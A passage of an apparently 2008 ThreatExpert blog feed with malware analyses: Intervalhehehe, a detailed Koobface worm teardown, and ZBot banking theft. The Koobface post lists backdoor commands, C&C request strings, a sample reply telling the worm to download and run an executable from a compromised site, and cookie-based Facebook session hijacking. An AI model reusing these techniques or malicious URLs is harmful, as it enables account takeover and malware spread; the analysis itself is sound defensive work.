Shevchenko)</author></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-7283598531036801098.post-7907285375166066444</guid><pubDate>Thu, 11 Dec 2008 23:18:00 +0000</pubDate><atom:updated>2008-12-11T16:40:42.891-08:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>Intervalhehehe</category><title>Intervalhehehe</title><description>&lt;br/&gt;According to multiple &lt;a href="http://www.google.com.au/search?q=intervalhehehe" target="_blank"&gt;forum posts&lt;/a&gt;, there are a number of people who seem to be infected with a mysterious virus that pops up every 10 minutes or so and displays a message "Intervalhehehe".&lt;br /&gt;&lt;br /&gt;This threat is most likely distributed as a cracked version of the popular software WinRAR. Its file is a WinRAR self-extractor (report &lt;a href="http://www.threatexpert.com/report.aspx?md5=d6016cf5762fc462e7be93597a1fe3b2" target="_blank"&gt;here&lt;/a&gt;) that unpacks and runs WinRAR installer itself, plus a file named explore.exe, which is a trojan horse.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_teq8tr511YQ/SUGiVvL6cLI/AAAAAAAAAmw/i3ZFvygPFf4/s1600-h/intervalhehehe.png" target="_blank"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 332px; height: 111px;" src="http://4.bp.blogspot.com/_teq8tr511YQ/SUGiVvL6cLI/AAAAAAAAAmw/i3ZFvygPFf4/s400/intervalhehehe.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5278678732582318258" /&gt;&lt;/a&gt;&lt;br /&gt;The trojan modifies hosts file to redirect users from google.com, yahoo.com and other legitimate sites into the websites hosted at 61.157.217.210, 123.251.143.110, and 123.16.197.121 and being used to distribute rogue antivirus and antispyware solutions:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_teq8tr511YQ/SUGouJqxEYI/AAAAAAAAAm4/IIAo9oTliOM/s1600-h/rogue.png" target="_blank"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 294px; height: 320px;" src="http://1.bp.blogspot.com/_teq8tr511YQ/SUGouJqxEYI/AAAAAAAAAm4/IIAo9oTliOM/s320/rogue.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5278685749077676418" /&gt;&lt;/a&gt;&lt;br /&gt;This trojan is a Visual Basic program built on a Chinese system.&lt;br /&gt;&lt;br /&gt;In some way (mostly in its annoyance, of course) it reminds an old DOS-era virus "Skaji Bebe - Fig Tebe".&lt;br/&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7283598531036801098-7907285375166066444?l=blog.threatexpert.com' alt='' /&gt;&lt;/div&gt;</description><link>http://blog.threatexpert.com/2008/12/intervalhehehe.html</link><author>noreply@blogger.com (Sergei Shevchenko)</author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_teq8tr511YQ/SUGiVvL6cLI/AAAAAAAAAmw/i3ZFvygPFf4/s72-c/intervalhehehe.png' height='72' width='72'/></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-7283598531036801098.post-7234713485232227035</guid><pubDate>Wed, 10 Dec 2008 02:09:00 +0000</pubDate><atom:updated>2008-12-10T03:44:54.070-08:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>Facebook worm Koobface CAPTCHA</category><title>Koobface Leaves Victims the Black Spot</title><description>&lt;br/&gt;Koobface worm has already been described enough, but a few details about its functionality can still be interesting to the reader. This post is an attempt to crack it to the bottom.&lt;br /&gt;&lt;br /&gt;&lt;br/&gt;&lt;strong&gt;TECHNICAL SUMMARY&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Koobface starts from checking if its own file name is &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;%windows%\bolivar[number].exe&lt;/span&gt;, where [number] is a decimal number that depends on the build of the worm.&lt;br /&gt;&lt;br /&gt;If its file name is not &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;%windows%\bolivar[number].exe&lt;/span&gt;, it will copy itself under that name, run that file, drop a temporary batch file (e.g. &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;c:\653ad216543.bat&lt;/span&gt;) with the commands to delete its own executable (it can't delete itself while it's running), and quit.&lt;br /&gt;&lt;br /&gt;When it runs as &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;%windows%\bolivar[number].exe&lt;/span&gt;, it will create the mutex object &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;"4334dfgdfgdf5"&lt;/span&gt; in order to make sure that there is only one instance of Koobface running on the system.&lt;br /&gt;&lt;br /&gt;It then returns the handle to the foreground window (the window with which the user is currently working) and check if that window is Internet Explorer. If that's the case, it will create an object that will be an invisible instance of Internet Explorer. It will then use that object to navigate across Facebook site and parse its contents.&lt;br /&gt;&lt;br /&gt;The worm drops and runs file &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;c:\1.reg&lt;/span&gt; in order to create the values:&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;&lt;br /&gt;CLSID"="{25336920-03F9-11cf-8FD0-00AA00686F13}&lt;br /&gt;Extension"=".xml&lt;br /&gt;Encoding"=hex:08,00,00,00&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;in the registry key:&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;&lt;br /&gt;HKEY_CLASSES_ROOT\Mime\Database\Content Type\application/xhtml+xml&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;These registry modifications will force Internet Explorer to display &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;application/xhtml+xml&lt;/span&gt; MIME type pages without a download prompt.&lt;br /&gt;&lt;br /&gt;Koobface retrieves the default system directory for storing cookies by querying the value &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;"Cookies"&lt;/span&gt; from the registry key:&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;&lt;br /&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Next, it enumerates all cookies looking for the ones created by &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;facebook.com&lt;/span&gt;, &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;myspace.com&lt;/span&gt;, and &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;bebo.com&lt;/span&gt; websites.&lt;br /&gt;&lt;br /&gt;Koobface then makes a DNS query to find out what IP address corresponds to the name &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;y171108.com&lt;/span&gt;. For different variants this domain name is different, but its format appears to be constant: &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;[letter][date].com&lt;/span&gt;, e.g. &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;a22092008.com&lt;/span&gt;, &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;f071108.com&lt;/span&gt;, &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;z13092008.com&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;The name server replies the DNS request with an IP &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;58.241.255.37&lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_teq8tr511YQ/ST8p-G5u2AI/AAAAAAAAAlw/uGppmMdd0ok/s1600-h/traffic1.png" target="_blank"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 188px;" src="http://4.bp.blogspot.com/_teq8tr511YQ/ST8p-G5u2AI/AAAAAAAAAlw/uGppmMdd0ok/s400/traffic1.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5277983435282896898" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This IP address is the command and control (C&amp;C) server for Koobface - it accepts data that Koobface collects on a compromised host and replies back instructions of what Koobface should do.&lt;br /&gt;&lt;br /&gt;The collected data is delivered by Koobface in the POST request submitted to &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;/fb/first.php&lt;/span&gt; resource of C&amp;C server. The POST string is assembled from the parameters - like these:&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;&lt;br /&gt;f=0&amp;a=13441600&amp;v=28&amp;c=0&amp;s=fb&amp;l=&amp;ck=0&amp;c_fb=0&amp;c_ms=0&amp;c_hi=0&amp;c_be=0&amp;c_fr=0&amp;c_yb=0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;For example, &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;"ck"&lt;/span&gt; parameter is equal to &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;"0"&lt;/span&gt; if Koobface could not find facebook.com cookie, or &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;"1"&lt;/span&gt; if the cookie was found.&lt;br /&gt;&lt;br /&gt;&lt;br/&gt;&lt;strong&gt;BACKDOOR COMMANDS&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;The C&amp;C returns back instructions that may depend on the data that Koobface delivers to the C&amp;C server - these can be considered backdoor commands which also makes Koobface a backdoor trojan.&lt;br /&gt;&lt;br /&gt;Some of the commands that Koobface can be instructed to perform are listed below:&lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;FBTARGETPERPOST&lt;/li&gt;&lt;br /&gt;&lt;li&gt;TINYURL&lt;/li&gt;&lt;br /&gt;&lt;li&gt;SHARELINK&lt;/li&gt;&lt;br /&gt;&lt;li&gt;MPOST&lt;/li&gt;&lt;br /&gt;&lt;li&gt;INVITE&lt;/li&gt;&lt;br /&gt;&lt;li&gt;PARAMS&lt;/li&gt;&lt;br /&gt;&lt;li&gt;SWFMODE&lt;/li&gt;&lt;br /&gt;&lt;li&gt;UPDATE&lt;/li&gt;&lt;br /&gt;&lt;li&gt;RESET&lt;/li&gt;&lt;br /&gt;&lt;li&gt;WAIT&lt;/li&gt;&lt;br /&gt;&lt;li&gt;START&lt;/li&gt;&lt;br /&gt;&lt;li&gt;STARTIMG&lt;/li&gt;&lt;br /&gt;&lt;li&gt;DOMAIN_B&lt;/li&gt;&lt;br /&gt;&lt;li&gt;TITLE_B&lt;/li&gt;&lt;br /&gt;&lt;li&gt;TEXT_B&lt;/li&gt;&lt;br /&gt;&lt;li&gt;LINKTEXT_B&lt;/li&gt;&lt;br /&gt;&lt;li&gt;DOMAIN_M&lt;/li&gt;&lt;br /&gt;&lt;li&gt;TITLE_M&lt;/li&gt;&lt;br /&gt;&lt;li&gt;TEXT_M&lt;/li&gt;&lt;br /&gt;&lt;li&gt;LINKTEXT_M&lt;/li&gt;&lt;br /&gt;&lt;li&gt;LINK_M&lt;/li&gt;&lt;br /&gt;&lt;li&gt;DOMAIN_C&lt;/li&gt;&lt;br /&gt;&lt;li&gt;TEXT_C&lt;/li&gt;&lt;br /&gt;&lt;li&gt;LINKTEXT_C&lt;/li&gt;&lt;br /&gt;&lt;li&gt;STARTONCEIMG&lt;/li&gt;&lt;br /&gt;&lt;li&gt;EXIT&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;/span&gt;Those commands that require parameters will have them appended and delimited with the "|" character. For example, C&amp;C may return these commands:&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;&lt;br /&gt;START|http://www.teamtga.com/images/games/gif/tinyproxy23.exe&lt;br /&gt;RESET&lt;br /&gt;FBTARGETPERPOST|20&lt;br /&gt;#BLACKLABEL&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;The first command is &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;&lt;strong&gt;START&lt;/strong&gt;&lt;/span&gt; - Koobface will perform it this way:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;it will create a temporary file &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;c:\tmark25[random_number].dat&lt;/span&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;it will then download an executable file from the specified URL saving it as the temporary file&lt;/li&gt;&lt;br /&gt;&lt;li&gt;it will then copy that file as &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;%temp%\tt_[random_number].exe&lt;/span&gt;, then run it&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;The aforementioned executable will be downloaded either from &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;www.teamtga.com&lt;/span&gt; or from &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;www.gameland.ro&lt;/span&gt; - according to the parameter returned at the time of this writing. A couple of days ago this was &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;www.aibcvienna.org&lt;/span&gt;. A few hours from now it could be a different URL.&lt;br /&gt;&lt;br /&gt;The C&amp;C must have an updatable database of compromised web servers from which the Koobface client will be instructed to download and run executables. Once one compromised site is cleaned or taken down, the C&amp;C database will be updated to feed a different URL to its clients.&lt;br /&gt;&lt;br /&gt;On &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;&lt;strong&gt;RESET&lt;/strong&gt;&lt;/span&gt; command, Koobface will delete the temporary files and re-start its workflow.&lt;br /&gt;&lt;br /&gt;On &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;&lt;strong&gt;STARTIMG&lt;/strong&gt;&lt;/span&gt; command, it will download a file from the specified URL, save it as &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;c:\tmark25[random_number].dat&lt;/span&gt;, decrypt it, parse the decrypted contents, locate URL inside it, then download an executable from that URL, save it as &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;%temp%\tt_[random_number].exe&lt;/span&gt;, and finally run that executable.&lt;br /&gt;&lt;br /&gt;On &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/span&gt; command, the worm will download an updated build from the specified URL, save it as &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;%temp%\tt_[random_number].exe&lt;/span&gt;, run it and quit.&lt;br /&gt;&lt;br /&gt;On &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;&lt;strong&gt;EXIT&lt;/strong&gt;&lt;/span&gt;, it will simply quit.&lt;br /&gt;&lt;br /&gt;Other commands may specify additional global parameters or modes. &lt;br /&gt;&lt;br /&gt;&lt;br/&gt;&lt;strong&gt;REPLICATION&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Before it continues, Koobface makes a final query to its C&amp;C server's resource &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;achcheck.php&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;If the server responds &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;ACH_OK&lt;/span&gt;, the worm goes ahead.&lt;br /&gt;&lt;br /&gt;The user-agent string that identifies the client browser is set by Koobface to:&lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;&lt;br /&gt;User-Agent: Mozilla/5.01 (Windows; U; Windows NT 5.2; ru; rv:1.9.0.1) Gecko/20040201 Firefox/3.0.3&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The user-agent language tag, that indicates the language for which the client had been localized, is "ru": Russian.&lt;br /&gt;&lt;br /&gt;This explains &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;#BLACKLABEL&lt;/span&gt; token returned by the C&amp;C server - it's the result of translation of &lt;a href="http://en.wikipedia.org/wiki/Black_Spot_(Treasure_Island)" target="_blank"&gt;The Black Spot&lt;/a&gt; term (from the novel Treasure Island by Robert Louis Stevenson) into Russian, and then back into English.&lt;br /&gt;&lt;br /&gt;Once the victim is "given the Black Spot", Koobface locates the cookie left by facebook.com in the cookie cache, then reads it and uses its contents to connect to Facebook website.&lt;br /&gt;&lt;br /&gt;For example, if the cookie's contents starts from:&lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;&lt;br /&gt;datr&lt;br /&gt;1228869768-5ed159061fd5727f027e6c6678531c19ef53163bfe7ebcbb0203b&lt;br /&gt;facebook.com/&lt;br /&gt;9216&lt;br /&gt;832238592&lt;br /&gt;...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;then the GET request submitted by Koobface will look like shown below (check the  "datr" value - it is taken from the cookie):&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_teq8tr511YQ/ST8u2GcFkRI/AAAAAAAAAl4/j9DO7-vU_SM/s1600-h/traffic2.png" target="_blank"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 122px;" src="http://3.bp.blogspot.com/_teq8tr511YQ/ST8u2GcFkRI/AAAAAAAAAl4/j9DO7-vU_SM/s400/traffic2.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5277988795277742354" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This allows Koobface to connect to Facebook account by using current user's login session. Thus, it does not need to know user's login credentials. As long as the user stays connected to the Facebook account, the worm freely accesses it as if it was the user.&lt;br /&gt;&lt;br /&gt;Once connected, the worm opens up several Facebook resources such as &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;home.php&lt;/span&gt;, &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;profile.php&lt;/span&gt;, &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;group.php&lt;/span&gt;. It navigates to the page &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;http://www.facebook.com/friends/?view=everyone&lt;/span&gt; in order to obtain the list of the user's friends.&lt;br /&gt;&lt;br /&gt;If it locates a friend, it submits a POST request to its C&amp;C server's resource &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;/fb/gen.php&lt;/span&gt;. The POST request contains details similar to the ones below:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;f=0&amp;a=13441600&amp;v=28&amp;c=0&amp;s=fb&amp;l=&amp;hav=&amp;hname=[encrypted_string]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The C&amp;C server responds the following parameters:&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;&lt;br /&gt;TITLE_M|Cool nice video with you.&lt;br /&gt;TEXT_M|LOL&lt;br /&gt;LINK_M|http://geocities.com/carlosbecker54/?4bchce6c9a=1851a448d70904485af377d941bca0f4&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;These parameters is a template for a new message that Koobface should send to the contacts. It then navigates to the page &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;/inbox/?compose&lt;/span&gt; within Facebook website, composes a new message and submits it from the user's name:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_teq8tr511YQ/ST9uw1xFXWI/AAAAAAAAAmY/hDpKan1w5_c/s1600-h/traffic3.png" target="_blank"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 168px;" src="http://2.bp.blogspot.com/_teq8tr511YQ/ST9uw1xFXWI/AAAAAAAAAmY/hDpKan1w5_c/s400/traffic3.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5278059073647238498" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Before the message is dispatched, Facebook returns CAPTCHA challenge to resolve. This security measure is implemented to protect users from threats like Koobface.&lt;br /&gt;&lt;br /&gt;In the real test, Facebook.com asked the Koobface to resolve the CAPTCHA image that reads "suffer accorn" - this image was pretty noisy for image recognition algorithms to resolve it successfully. But Koobface does not attempt to resolve it by itself. It submits this image to its C&amp;C server. The server replies correct answer in about 34 seconds. Once the answer is received, Koobface submits the message via Facebook's compromised account including correct CAPTCHA answer:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_teq8tr511YQ/ST96ymZUwOI/AAAAAAAAAmo/KZRIprl4f2E/s1600-h/traffic4.png" target="_blank"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 296px;" src="http://4.bp.blogspot.com/_teq8tr511YQ/ST96ymZUwOI/AAAAAAAAAmo/KZRIprl4f2E/s400/traffic4.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5278072298020323554" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br/&gt;&lt;strong&gt;PUTTING IT TO A REAL TEST&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;In order to test Koobface replication in action, there were 2 fake accounts created: "Eno Koob Acef" and "Owt Koob Acef" ("Face Book One" and "Face Book Two" reversed). Both accounts were mutually declared as friends.&lt;br /&gt;&lt;br /&gt;If the computer logged on to the second account is compromised with Koobface, the worm will use its login session, it will locate "Eno Koob Acef" as its friend, and it will send it a message. &lt;br /&gt;&lt;br /&gt;The image below shows the inbox of the first account ("Eno Koob Acef") - it contains a new message from the 2nd account ("Owt Koob Acef") with the subject "Cool nice video with you."&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_teq8tr511YQ/ST811h4-8LI/AAAAAAAAAmA/RLXFQi-2h04/s1600-h/fb1.png" target="_blank"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 151px;" src="http://2.bp.blogspot.com/_teq8tr511YQ/ST811h4-8LI/AAAAAAAAAmA/RLXFQi-2h04/s400/fb1.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5277996482048225458" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;When the user clicks the new message link, Facebook.com will open that message:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_teq8tr511YQ/ST83HJRqlTI/AAAAAAAAAmI/Z_IksJJJ5Mk/s1600-h/fb2.png" target="_blank"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 257px;" src="http://4.bp.blogspot.com/_teq8tr511YQ/ST83HJRqlTI/AAAAAAAAAmI/Z_IksJJJ5Mk/s400/fb2.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5277997884190135602" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The message contains a URL that points to a private page hosted at geocities.com web site. When that link is clicked, the browser will redirect the message recipient to the following page:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_teq8tr511YQ/ST83_c_qxrI/AAAAAAAAAmQ/nuUFThpg8wc/s1600-h/fb3.png" target="_blank"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 389px; height: 400px;" src="http://1.bp.blogspot.com/_teq8tr511YQ/ST83_c_qxrI/AAAAAAAAAmQ/nuUFThpg8wc/s400/fb3.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5277998851556034226" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The page has a header &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;"Secret video by [infected_user_name] - Flash Player Installation"&lt;/span&gt;. It even has fake testimonials. The page suggests installing a newer version of Flash Player, which of course is not a Flash Player. It's a file called &lt;a href="http://www.threatexpert.com/report.aspx?md5=fbbed6d47afa77b21bcce76625be8559" target="_blank"&gt;flash_update.exe&lt;/a&gt;, and it's a new copy of Koobface. If the Facebook user runs it thinking it's a Flash Player update, the worm will now replicate to this user's friends the same manner it did before, and so on, and so on.&lt;br /&gt;&lt;br /&gt;&lt;br/&gt;&lt;strong&gt;CONCLUSION&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;At one point of its execution, Koobface submitted GET request to facebook.com:&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;/campaign/impression.php?campaign_id=[long_number]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The purpose of this request is not quite clear. It might potentially be related to some advertising program within Facebook (e.g. similar to Google AdSense), but this is a guess...&lt;br /&gt;&lt;br /&gt;Nevertheless, if it's about the money generated by clicking ads by Koobface, the ads that are allocated by Facebook within other peoples' profiles, then its business model becomes more evident. It may even potentially include manual labor in breaking the CAPTCHAs (it's not free) - at least it explains a 34 seconds inter-server delay in solving it.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7283598531036801098-7234713485232227035?l=blog.threatexpert.com' alt='' /&gt;&lt;/div&gt;</description><link>http://blog.threatexpert.com/2008/12/koobface-leaves-victims-black-spot.html</link><author>noreply@blogger.com (Sergei Shevchenko)</author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_teq8tr511YQ/ST8p-G5u2AI/AAAAAAAAAlw/uGppmMdd0ok/s72-c/traffic1.png' height='72' width='72'/></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-7283598531036801098.post-1647089777944728991</guid><pubDate>Tue, 09 Dec 2008 02:20:00 +0000</pubDate><atom:updated>2008-12-08T18:45:07.028-08:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>ZBot</category><title>Escort Agency Serves Naughty Trojan</title><description>&lt;br/&gt;&lt;a href="http://www.threatfire.com" target="_blank"&gt;ThreatFire&lt;/a&gt; team has busted another "in-the-wild" ZBot trojan.&lt;br /&gt;&lt;br /&gt;Interesting detail this time is that the trojan is currently hosted at the server with the IP 92.48.71.14 - this is a web server of "London Escorts &amp; Escort Agencies" and its domain name is &lt;a href="http://whois.net/whois_new.cgi?d=escortcitylondon&amp;tld=com" target="_blank"&gt;escortcitylondon.com&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;When run, the trojan downloads an encrypted configuration file from 193.27.246.190. The config file instructs the bot to update itself right from the escort site mentioned above.&lt;br /&gt;&lt;br /&gt;The trojan attempts to deactivate a number of AV products and firewalls by deleting their registry keys, terminating the processes and modifying the hosts file.&lt;br /&gt;&lt;br /&gt;ZBot attempts to steal the contents of online banking forms of the following banks:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;Bank of America&lt;/li&gt;&lt;br /&gt;&lt;li&gt;CheBanca!&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Banca Mediolanum&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;The targeted banking sites can be seen in its memory contents:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_teq8tr511YQ/ST3bgH72tgI/AAAAAAAAAlo/xm8kOBkCleA/s1600-h/bank.png" target="_blank"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 318px;" src="http://2.bp.blogspot.com/_teq8tr511YQ/ST3bgH72tgI/AAAAAAAAAlo/xm8kOBkCleA/s320/bank.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5277615683280483842" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_teq8tr511YQ/ST3bdHvBFmI/AAAAAAAAAlg/SB5dxr_v9GA/s1600-h/bank2.png" target="_blank"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 157px;" src="http://1.bp.blogspot.com/_teq8tr511YQ/ST3bdHvBFmI/AAAAAAAAAlg/SB5dxr_v9GA/s320/bank2.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5277615631687030370" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Full ThreatExpert report is available &lt;a href="http://www.threatexpert.com/report.aspx?md5=a7ee74c1ce14fb7b17afc4199a82cc1b" target="_blank"&gt;here&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7283598531036801098-1647089777944728991?l=blog.threatexpert.com' alt='' /&gt;&lt;/div&gt;</description><link>http://blog.threatexpert.com/2008/12/escort-agency-serves-naughty-trojan.html</link><author>noreply@blogger.com (Sergei Shevchenko)</author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_teq8tr511YQ/ST3bgH72tgI/AAAAAAAAAlo/xm8kOBkCleA/s72-c/bank.png' height='72' width='72'/></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-7283598531036801098.post-8710825826524311462</guid><pubDate>Wed, 03 Dec 2008 23:47:00 +0000</pubDate><atom:updated>2008-12-03T16:12:49.971-08:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>Coca Cola Christmas Promotion</category><category domain='http://www.blogger.com/atom/ns#'>Hallmark e-Card</category><category domain='http://www.blogger.com/atom/ns#'>McDonald Coupon</category><category domain='http://www.blogger.com/atom/ns#'>W32.Ackantta</category><title>Beware Christmas Promotions From Coca Cola</title><description>A new mass-mailing worm is making its rounds by promoting a Hallmark e-Card, McDonald’s Coupon, or Coca Cola Christmas Promotion.&lt;br /&gt;&lt;br /&gt;Full worm description (manual analysis) is provided &lt;a 